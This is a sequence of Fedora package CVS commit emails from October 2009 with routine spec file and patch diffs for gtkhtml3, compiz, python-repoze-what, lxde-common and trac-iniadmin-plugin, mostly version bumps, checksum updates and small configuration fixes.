--- .cvsignore	19 Oct 2009 09:13:47 -0000	1.104
+++ .cvsignore	26 Oct 2009 23:54:39 -0000	1.105
@@ -1 +1 @@
-gtkhtml-3.28.1.tar.bz2
+gtkhtml-3.29.1.tar.bz2


Index: gtkhtml3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/devel/gtkhtml3.spec,v
retrieving revision 1.161
retrieving revision 1.162
diff -u -p -r1.161 -r1.162
--- gtkhtml3.spec	19 Oct 2009 09:13:47 -0000	1.161
+++ gtkhtml3.spec	26 Oct 2009 23:54:40 -0000	1.162
@@ -6,7 +6,7 @@
 ### Abstract ###
 
 Name: gtkhtml3
-Version: 3.28.1
+Version: 3.29.1
 Release: 1%{?dist}
 Group: System Environment/Libraries
 Summary: GtkHTML library
@@ -97,6 +97,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Mon Oct 26 2009 Matthew Barnes <mbarnes at redhat.com> - 3.29.1-1.fc13
+- Update to 3.29.1
+
 * Mon Oct 19 2009 Milan Crha <mcrha at redhat.com> - 3.28.1-1.fc12
 - Update to 3.28.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtkhtml3/devel/sources,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- sources	19 Oct 2009 09:13:47 -0000	1.104
+++ sources	26 Oct 2009 23:54:40 -0000	1.105
@@ -1 +1 @@
-332bea8d39e1348c0f630a79146de5f6  gtkhtml-3.28.1.tar.bz2
+4dd1c54a7b275ed7d340a9b0ce6611bb  gtkhtml-3.29.1.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 26 23:55:50 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 26 Oct 2009 23:55:50 +0000 (UTC)
Subject: rpms/compiz/F-12 unknown-key.patch, NONE, 1.1 compiz.spec, 1.185,
	1.186
Message-ID: <20091026235550.6055111C0264@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/compiz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10830

Modified Files:
	compiz.spec 
Added Files:
	unknown-key.patch 
Log Message:
fix unknown keybindings


unknown-key.patch:
 50-compiz-desktop-key.xml.in |   10 +++++-----
 50-compiz-key.xml.in         |    4 ++--
 2 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE unknown-key.patch ---
diff -up compiz-0.8.2/gtk/gnome/50-compiz-desktop-key.xml.in.unknown-key compiz-0.8.2/gtk/gnome/50-compiz-desktop-key.xml.in
--- compiz-0.8.2/gtk/gnome/50-compiz-desktop-key.xml.in.unknown-key	2009-10-26 19:31:49.714797414 -0400
+++ compiz-0.8.2/gtk/gnome/50-compiz-desktop-key.xml.in	2009-10-26 19:32:47.250797450 -0400
@@ -1,16 +1,16 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <KeyListEntries _name="Desktop" wm_name="compiz" package="compiz">
 
-	<KeyListEntry name="/apps/compiz/gnomecompat/allscreens/options/run_key"/>
+	<KeyListEntry name="/apps/compiz/plugins/gnomecompat/allscreens/options/run_key"/>
 
-	<KeyListEntry name="/apps/compiz/gnomecompat/allscreens/options/main_menu_key"/>
+	<KeyListEntry name="/apps/compiz/plugins/gnomecompat/allscreens/options/main_menu_key"/>
 
-	<KeyListEntry name="/apps/compiz/gnomecompat/allscreens/options/run_command_screenshot_key"/>
+	<KeyListEntry name="/apps/compiz/plugins/gnomecompat/allscreens/options/run_command_screenshot_key"/>
 
-	<KeyListEntry name="/apps/compiz/gnomecompat/allscreens/options/run_command_window_screenshot_key"/>
+	<KeyListEntry name="/apps/compiz/plugins/gnomecompat/allscreens/options/run_command_window_screenshot_key"/>
 
 	<KeyListEntry name="/apps/compiz/general/allscreens/options/show_desktop_key"/>
 
-        <KeyListEntry name="/apps/compiz/gnomecompat/allscreens/options/run_command_terminal_key"/>
+        <KeyListEntry name="/apps/compiz/plugins/gnomecompat/allscreens/options/run_command_terminal_key"/>
 
 </KeyListEntries>
diff -up compiz-0.8.2/gtk/gnome/50-compiz-key.xml.in.unknown-key compiz-0.8.2/gtk/gnome/50-compiz-key.xml.in
--- compiz-0.8.2/gtk/gnome/50-compiz-key.xml.in.unknown-key	2009-10-26 19:33:00.669802869 -0400
+++ compiz-0.8.2/gtk/gnome/50-compiz-key.xml.in	2009-10-26 19:47:07.630802031 -0400
@@ -15,9 +15,9 @@
 
 	<KeyListEntry name="/apps/compiz/general/allscreens/options/minimize_window_key"/>
 
-	<KeyListEntry name="/apps/compiz/general/allscreens/options/opacity_decrease_key"/>
+	<KeyListEntry name="/apps/compiz/plugins/obs/allscreens/options/opacity_decrease_key"/>
 
-	<KeyListEntry name="/apps/compiz/general/allscreens/options/opacity_increase_key"/>
+	<KeyListEntry name="/apps/compiz/plugins/obs/allscreens/options/opacity_increase_key"/>
 
 	<KeyListEntry name="/apps/compiz/general/allscreens/options/show_desktop_key"/>
 


Index: compiz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/compiz/F-12/compiz.spec,v
retrieving revision 1.185
retrieving revision 1.186
diff -u -p -r1.185 -r1.186
--- compiz.spec	26 Oct 2009 12:46:50 -0000	1.185
+++ compiz.spec	26 Oct 2009 23:55:49 -0000	1.186
@@ -13,7 +13,7 @@ URL:            http://www.go-compiz.org
 License:        GPLv2+ and LGPLv2+ and MIT
 Group:          User Interface/Desktops
 Version:        0.8.2
-Release:        17%{?dist}
+Release:        18%{?dist}
 
 Summary:        OpenGL window and compositing manager
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -69,6 +69,8 @@ Patch125: compiz-0.8.2-gnome-terminal.pa
 #Fix build
 Patch126: compiz-0.8.2-gconf-buildfix.patch
 
+Patch127: unknown-key.patch
+
 %description
 Compiz is one of the first OpenGL-accelerated compositing window
 managers for the X Window System. The integration allows it to perform
@@ -137,6 +139,7 @@ and other kde integration related stuff.
 %patch123 -p1 -b .initial-plugins
 %patch125 -p1 -b .gnome-terminal
 %patch126 -p1 -b .gconf
+%patch127 -p1 -b .unknown-key
 
 %build
 rm -rf $RPM_BUILD_ROOT
@@ -315,6 +318,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> - 0.8.2-18
+- Better fix for keybindings
+
 * Mon Oct 26 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.8.2-17
 - Fix was wrong - revert it
 



From lmacken at fedoraproject.org  Tue Oct 27 00:05:27 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue, 27 Oct 2009 00:05:27 +0000 (UTC)
Subject: rpms/python-repoze-what/EL-5 python-repoze-what.spec,1.4,1.5
Message-ID: <20091027000527.9FF3711C0264@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-what/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14972

Modified Files:
	python-repoze-what.spec 
Log Message:
Require python-repoze-who-testutil



Index: python-repoze-what.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-what/EL-5/python-repoze-what.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-repoze-what.spec	17 Aug 2009 23:30:53 -0000	1.4
+++ python-repoze-what.spec	27 Oct 2009 00:05:27 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           python-repoze-what
 Version:        1.0.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Authorization for WSGI applications
 
 Group:          Development/Languages
@@ -26,6 +26,7 @@ BuildRequires:  python-repoze-who-testut
 BuildRequires:  python-coverage
 
 Requires:       python-repoze-who
+Requires:       python-repoze-who-testutil
 Requires:       python-paste
 
 %description
@@ -87,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-5
+- Require python-repoze-who-testutil
+
 * Tue Aug 17 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-4
 - Apply python-repoze-what-sphinx.patch to disable newer Sphinx extensions
 



From cwickert at fedoraproject.org  Tue Oct 27 00:16:19 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 27 Oct 2009 00:16:19 +0000 (UTC)
Subject: rpms/lxde-common/F-12 lxde-common-0.4-lxpanel-config.patch, 1.4,
	1.5 lxde-common.spec, 1.13, 1.14
Message-ID: <20091027001619.E700311C0264@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/lxde-common/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19612

Modified Files:
	lxde-common-0.4-lxpanel-config.patch lxde-common.spec 
Log Message:
* Tue Oct 27 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Final tweaks for the LXDE Spin


lxde-common-0.4-lxpanel-config.patch:
 config   |    2 +-
 panel.in |   14 +++++++++-----
 2 files changed, 10 insertions(+), 6 deletions(-)

Index: lxde-common-0.4-lxpanel-config.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lxde-common/F-12/lxde-common-0.4-lxpanel-config.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- lxde-common-0.4-lxpanel-config.patch	25 Jul 2009 02:02:13 -0000	1.4
+++ lxde-common-0.4-lxpanel-config.patch	27 Oct 2009 00:16:19 -0000	1.5
@@ -27,7 +27,7 @@ diff -dur lxde-common-0.4.orig/lxpanel/p
      type = menu
      Config {
 -        image=@prefix@/share/lxde/images/lxde-icon.png
-+        image=start-here.png
++        image=@prefix@/share/icons/Bluecurve/24x24/apps/icon-panel-menu.png
          system {
          }
          separator {
@@ -37,7 +37,7 @@ diff -dur lxde-common-0.4.orig/lxpanel/p
              command=run
          }
          separator {
-@@ -50,10 +51,13 @@
+@@ -50,10 +51,10 @@
      type = launchbar
      Config {
          Button {
@@ -47,24 +47,10 @@ diff -dur lxde-common-0.4.orig/lxpanel/p
          Button {
 -            id=firefox.desktop
 +            id=fedora-lxterminal.desktop
-+        }
-+        Button {
-+            id=mozilla-firefox.desktop
          }
      }
  }
-@@ -122,6 +126,10 @@
- }
- 
- Plugin {
-+    type = volumealsa
-+}
-+
-+Plugin {
-     type = dclock
-     Config {
-         ClockFmt=%R
-@@ -134,6 +142,9 @@
+@@ -134,6 +135,9 @@
      type = launchbar
      Config {
          Button {


Index: lxde-common.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lxde-common/F-12/lxde-common.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- lxde-common.spec	25 Jul 2009 02:02:13 -0000	1.13
+++ lxde-common.spec	27 Oct 2009 00:16:19 -0000	1.14
@@ -2,7 +2,7 @@
 
 Name:           lxde-common
 Version:        0.4.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Default configuration files for LXDE
 
 Group:          User Interface/Desktops
@@ -20,8 +20,7 @@ Patch13:        %{name}-0.3.2.1-logout-b
 Patch14:        %{name}-0.4-olpc-keyboard-shortcuts.patch
 # Pulseaudio
 Patch4:         %{name}-0.4-pulseaudio.patch
-# Because of new gdm
-# http://icculus.org/cgi-bin/ezmlm/ezmlm-cgi?24:mss:5608:200804:keopkmedognljeggknac
+# Because of new gdm, committed to upstream SVN
 Patch5:         %{name}-0.3.2.1-gdm-number-of-desktops.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -34,8 +33,8 @@ Requires:       system-logos
 Requires:       desktop-backgrounds-basic
 %else
 Requires:       desktop-backgrounds-compat
-# needed for new gdm workaround
-Requires:       wmctrl
+# needed for new gdm fix
+Requires:       xorg-x11-utils
 %endif
 Obsoletes:      %{name}-data <= 0.3.2.1-5
 # needed because the lxde-common and lxde-common-data 
@@ -49,17 +48,6 @@ This package contains the configuration 
 Desktop Environment.
 
 
-%package -n     lxde-icon-theme
-Summary:        Default icon theme for LXDE
-Group:          User Interface/Desktops
-License:        LGPLv3
-URL:            http://nuovext.pwsp.net/
-
-%description -n lxde-icon-theme
-nuoveXT is a very complete set of icons for Linux, Mac OS X and Windows. It is
-also the default icon-theme of LXDE, the Lightweight X11 Desktop Environment.
-
-
 %prep
 %setup -q
 %patch10 -p1 -b .orig
@@ -81,35 +69,20 @@ also the default icon-theme of LXDE, the
 %install
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT INSTALL='install -p'
-# only used by obsolete lxsession, not lxsession-lite
-rm -f $RPM_BUILD_ROOT%{_sysconfdir}/xdg/lxsession/LXDE/default
 desktop-file-install                                           \
       --dir=%{buildroot}%{_datadir}/applications               \
       lxde-logout.desktop
 desktop-file-install                                           \
       --dir=%{buildroot}%{_datadir}/applications               \
       %{SOURCE1}
+# the icon theme is packaged in a different package
+rm -rf $RPM_BUILD_ROOT%{_datadir}/icons/
 
 
 %clean
 rm -rf $RPM_BUILD_ROOT
 
 
-%post -n lxde-icon-theme
-touch --no-create %{_datadir}/icons/nuoveXT2 &>/dev/null || :
-
-
-%postun -n lxde-icon-theme
-if [ $1 -eq 0 ] ; then
-    touch --no-create %{_datadir}/icons/nuoveXT2 &>/dev/null
-    gtk-update-icon-cache %{_datadir}/icons/nuoveXT2 &>/dev/null || :
-fi
-
-
-%posttrans -n lxde-icon-theme
-gtk-update-icon-cache %{_datadir}/icons/nuoveXT2 &>/dev/null || :
-
-
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING
@@ -125,13 +98,11 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/xsessions/LXDE.desktop
 %{_datadir}/applications/lxde-*.desktop
 
-%files -n lxde-icon-theme
-%doc icon-theme/AUTHORS icon-theme/COPYING
-%defattr(-,root,root,-)
-%{_datadir}/icons/nuoveXT2/
-
 
 %changelog
+* Tue Oct 27 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Final tweaks for the LXDE Spin
+
 * Sat Jul 25 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 - Disable OLPC keyboard shortcuts for now, they interfere with OpenOffice



From cwickert at fedoraproject.org  Tue Oct 27 00:18:16 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 27 Oct 2009 00:18:16 +0000 (UTC)
Subject: rpms/lxde-common/F-12
	lxde-common-0.3.2.1-gdm-number-of-desktops.patch, 1.1, 1.2
Message-ID: <20091027001816.25B5511C0264@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/lxde-common/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20536

Modified Files:
	lxde-common-0.3.2.1-gdm-number-of-desktops.patch 
Log Message:
update gdm-number-of-desktops.patch

lxde-common-0.3.2.1-gdm-number-of-desktops.patch:
 startlxde.in |    3 +++
 1 file changed, 3 insertions(+)

Index: lxde-common-0.3.2.1-gdm-number-of-desktops.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lxde-common/F-12/lxde-common-0.3.2.1-gdm-number-of-desktops.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lxde-common-0.3.2.1-gdm-number-of-desktops.patch	1 Nov 2008 02:53:36 -0000	1.1
+++ lxde-common-0.3.2.1-gdm-number-of-desktops.patch	27 Oct 2009 00:18:15 -0000	1.2
@@ -1,16 +1,11 @@
 --- lxde-common-0.3.2.1.orig/startlxde.in	2008-04-20 10:26:19.000000000 +0200
 +++ lxde-common-0.3.2.1/startlxde.in	2008-11-01 01:52:54.000000000 +0100
-@@ -18,6 +18,14 @@
+@@ -18,6 +18,9 @@
      cp @prefix@/share/lxde/openbox/rc.xml "$OPENBOX_CONF_DIR/lxde-rc.xml"
  fi
  
-+# Workaround for gdm, openbox and the number of desktops
-+NUMBER_DESKTOPS=`grep \<number\> "$OPENBOX_CONF_DIR/lxde-rc.xml" | awk -F \> {'print $2}' | awk -F \< {'print $1}'`
-+if test x"`which wmctrl 2>/dev/null`" != x""; then
-+    (until [ `wmctrl -d | wc -l ` = "$NUMBER_DESKTOPS" ];do
-+	wmctrl -n "$NUMBER_DESKTOPS"
-+    done) &
-+fi
++# Clean up after GDM
++xprop -root -remove _NET_NUMBER_OF_DESKTOPS -remove _NET_DESKTOP_NAMES -remove _NET_CURRENT_DESKTOP 2> /dev/null
 +
  # Enable GTK+2 integration for OpenOffice.org, if available.
  export SAL_USE_VCLPLUGIN=gtk



From jkeating at fedoraproject.org  Tue Oct 27 00:24:13 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Tue, 27 Oct 2009 00:24:13 +0000 (UTC)
Subject: rpms/trac-iniadmin-plugin/F-11 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 trac-iniadmin-plugin.spec, 1.3, 1.4
Message-ID: <20091027002413.33EC311C0264@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/trac-iniadmin-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23684

Modified Files:
	.cvsignore sources trac-iniadmin-plugin.spec 
Log Message:
* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-4.20091026svn3915
- Update for 0.11



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Dec 2007 17:33:34 -0000	1.2
+++ .cvsignore	27 Oct 2009 00:24:10 -0000	1.3
@@ -1 +1 @@
-iniadminplugin_0.10-r2824.zip
+iniadminplugin_0.11-r6877.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Dec 2007 17:33:34 -0000	1.2
+++ sources	27 Oct 2009 00:24:11 -0000	1.3
@@ -1 +1 @@
-591ed8eb2b5a15dfd0fb56a3e04c2dce  iniadminplugin_0.10-r2824.zip
+ecdcb9bb1c97a3cadf318a435350c0bf  iniadminplugin_0.11-r6877.zip


Index: trac-iniadmin-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/F-11/trac-iniadmin-plugin.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- trac-iniadmin-plugin.spec	25 Feb 2009 21:34:43 -0000	1.3
+++ trac-iniadmin-plugin.spec	27 Oct 2009 00:24:11 -0000	1.4
@@ -1,18 +1,18 @@
 # sitelib for noarch packages, sitearch for others (remove the unneeded one)
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-%define svnrev 2824
+%define svnrev 6877
 
 Name:           trac-iniadmin-plugin
 Version:        0.1
-Release:        4.20071126svn%{svnrev}%{?dist}
-Summary:        Expose all TracIni options using the Trac 0.10 config option API
+Release:        4.20091026svn%{svnrev}%{?dist}
+Summary:        Expose all TracIni options using the Trac 0.11 config option API
 
 Group:          Applications/Internet
 License:        BSD
 URL:            http://trac-hacks.org/wiki/IniAdminPlugin
-# Source comes from Trac right now: http://trac-hacks.org/changeset/%{svnrev}/iniadminplugin/0.10?old_path=/&filename=iniadminplugin/0.10&format=zip
-Source0:        iniadminplugin_0.10-r%{svnrev}.zip
+# Source comes from Trac right now: http://trac-hacks.org/changeset/%{svnrev}/iniadminplugin/0.11?old_path=/&filename=iniadminplugin/0.11&format=zip
+Source0:        iniadminplugin_0.11-r%{svnrev}.zip
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -21,7 +21,7 @@ BuildRequires:  python-setuptools
 Requires:       trac, python-setuptools
 
 %description
-This plugin uses the new configuration option API in Trac 0.10 to allow
+This plugin uses the new configuration option API in Trac 0.11 to allow
 modification of any field exposed through this mechanism.
 
 This currently includes all core Trac settings, and although no plugins are
@@ -31,7 +31,7 @@ Note: Many Trac options require a restar
 changes may not take effect until that is done.
 
 %prep
-%setup -n iniadminplugin/0.10 -q
+%setup -n iniadminplugin/0.11 -q
 
 
 %build
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-4.20091026svn3915
+- Update for 0.11
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-4.20071126svn2824
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From jkeating at fedoraproject.org  Tue Oct 27 00:36:26 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Tue, 27 Oct 2009 00:36:26 +0000 (UTC)
Subject: rpms/trac-iniadmin-plugin/F-12 trac-iniadmin-plugin.spec,1.4,1.5
Message-ID: <20091027003626.3C72A11C0264@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/trac-iniadmin-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27510

Modified Files:
	trac-iniadmin-plugin.spec 
Log Message:
* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-4.20091026svn3915
- Update for 0.11



Index: trac-iniadmin-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/F-12/trac-iniadmin-plugin.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- trac-iniadmin-plugin.spec	27 Jul 2009 06:11:11 -0000	1.4
+++ trac-iniadmin-plugin.spec	27 Oct 2009 00:36:21 -0000	1.5
@@ -1,18 +1,18 @@
 # sitelib for noarch packages, sitearch for others (remove the unneeded one)
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-%define svnrev 2824
+%define svnrev 6877
 
 Name:           trac-iniadmin-plugin
 Version:        0.1
-Release:        5.20071126svn%{svnrev}%{?dist}
-Summary:        Expose all TracIni options using the Trac 0.10 config option API
+Release:        6.20091026svn%{svnrev}%{?dist}
+Summary:        Expose all TracIni options using the Trac 0.11 config option API
 
 Group:          Applications/Internet
 License:        BSD
 URL:            http://trac-hacks.org/wiki/IniAdminPlugin
-# Source comes from Trac right now: http://trac-hacks.org/changeset/%{svnrev}/iniadminplugin/0.10?old_path=/&filename=iniadminplugin/0.10&format=zip
-Source0:        iniadminplugin_0.10-r%{svnrev}.zip
+# Source comes from Trac right now: http://trac-hacks.org/changeset/%{svnrev}/iniadminplugin/0.11?old_path=/&filename=iniadminplugin/0.11&format=zip
+Source0:        iniadminplugin_0.11-r%{svnrev}.zip
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -21,7 +21,7 @@ BuildRequires:  python-setuptools
 Requires:       trac, python-setuptools
 
 %description
-This plugin uses the new configuration option API in Trac 0.10 to allow
+This plugin uses the new configuration option API in Trac 0.11 to allow
 modification of any field exposed through this mechanism.
 
 This currently includes all core Trac settings, and although no plugins are
@@ -31,7 +31,7 @@ Note: Many Trac options require a restar
 changes may not take effect until that is done.
 
 %prep
-%setup -n iniadminplugin/0.10 -q
+%setup -n iniadminplugin/0.11 -q
 
 
 %build
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-4.20091026svn3915
+- Update for 0.11
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-5.20071126svn2824
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jkeating at fedoraproject.org  Tue Oct 27 00:38:40 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Tue, 27 Oct 2009 00:38:40 +0000 (UTC)
Subject: rpms/trac-iniadmin-plugin/F-12 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 trac-iniadmin-plugin.spec, 1.5, 1.6
Message-ID: <20091027003840.2816911C0264@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/trac-iniadmin-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29268

Modified Files:
	.cvsignore sources trac-iniadmin-plugin.spec 
Log Message:
* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-7.20091026svn3915
- Update for 0.11



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Dec 2007 17:33:34 -0000	1.2
+++ .cvsignore	27 Oct 2009 00:38:39 -0000	1.3
@@ -1 +1 @@
-iniadminplugin_0.10-r2824.zip
+iniadminplugin_0.11-r6877.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Dec 2007 17:33:34 -0000	1.2
+++ sources	27 Oct 2009 00:38:39 -0000	1.3
@@ -1 +1 @@
-591ed8eb2b5a15dfd0fb56a3e04c2dce  iniadminplugin_0.10-r2824.zip
+ecdcb9bb1c97a3cadf318a435350c0bf  iniadminplugin_0.11-r6877.zip


Index: trac-iniadmin-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/F-12/trac-iniadmin-plugin.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- trac-iniadmin-plugin.spec	27 Oct 2009 00:36:21 -0000	1.5
+++ trac-iniadmin-plugin.spec	27 Oct 2009 00:38:39 -0000	1.6
@@ -5,7 +5,7 @@
 
 Name:           trac-iniadmin-plugin
 Version:        0.1
-Release:        6.20091026svn%{svnrev}%{?dist}
+Release:        7.20091026svn%{svnrev}%{?dist}
 Summary:        Expose all TracIni options using the Trac 0.11 config option API
 
 Group:          Applications/Internet
@@ -55,7 +55,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-4.20091026svn3915
+* Mon Oct 26 2009 Jesse Keating <jkeating at redhat.com> - 0.1-7.20091026svn3915
 - Update for 0.11
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1-5.20071126svn2824



From jkeating at fedoraproject.org  Tue Oct 27 00:39:27 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Tue, 27 Oct 2009 00:39:27 +0000 (UTC)
Subject: rpms/trac-iniadmin-plugin/devel import.log, NONE, 1.1 .cvsignore,
	1.2, 1.3 sources, 1.2, 1.3 trac-iniadmin-plugin.spec, 1.4, 1.5
Message-ID: <20091027003927.5D78A11C0264@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/trac-iniadmin-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29543/devel

Modified Files:
	.cvsignore sources trac-iniadmin-plugin.spec 
Added Files:
	import.log 
Log Message:
Update for 0.11



--- NEW FILE import.log ---
trac-iniadmin-plugin-0_1-7_20091026svn6877_fc12:HEAD:trac-iniadmin-plugin-0.1-7.20091026svn6877.fc12.src.rpm:1256603907


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	12 Dec 2007 17:33:34 -0000	1.2
+++ .cvsignore	27 Oct 2009 00:39:26 -0000	1.3
@@ -1 +1 @@
-iniadminplugin_0.10-r2824.zip
+iniadminplugin_0.11-r6877.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	12 Dec 2007 17:33:34 -0000	1.2
+++ sources	27 Oct 2009 00:39:27 -0000	1.3
@@ -1 +1 @@
-591ed8eb2b5a15dfd0fb56a3e04c2dce  iniadminplugin_0.10-r2824.zip
+ecdcb9bb1c97a3cadf318a435350c0bf  iniadminplugin_0.11-r6877.zip


Index: trac-iniadmin-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/trac-iniadmin-plugin/devel/trac-iniadmin-plugin.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- trac-iniadmin-plugin.spec	27 Jul 2009 06:11:11 -0000	1.4
+++ trac-iniadmin-plugin.spec	27 Oct 2009 00:39:27 -0000	1.5
@@ -1,18 +1,18 @@
 # sitelib for noarch packages, sitearch for others (remove the unneeded one)
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-%define svnrev 2824
+%define svnrev 6877
 
 Name:           trac-iniadmin-plugin
 Version:        0.1
-Release:        5.20071126svn%{svnrev}%{?dist}
-Summary:        Expose all TracIni options using the Trac 0.10 config option API
+Release:        7.20091026svn%{svnrev}%{?dist}
+Summary:        Expose all TracIni options using the Trac 0.11 config option API
 
 Group:          Applications/Internet
 License:        BSD
 URL:            http://trac-hacks.org/wiki/IniAdminPlugin
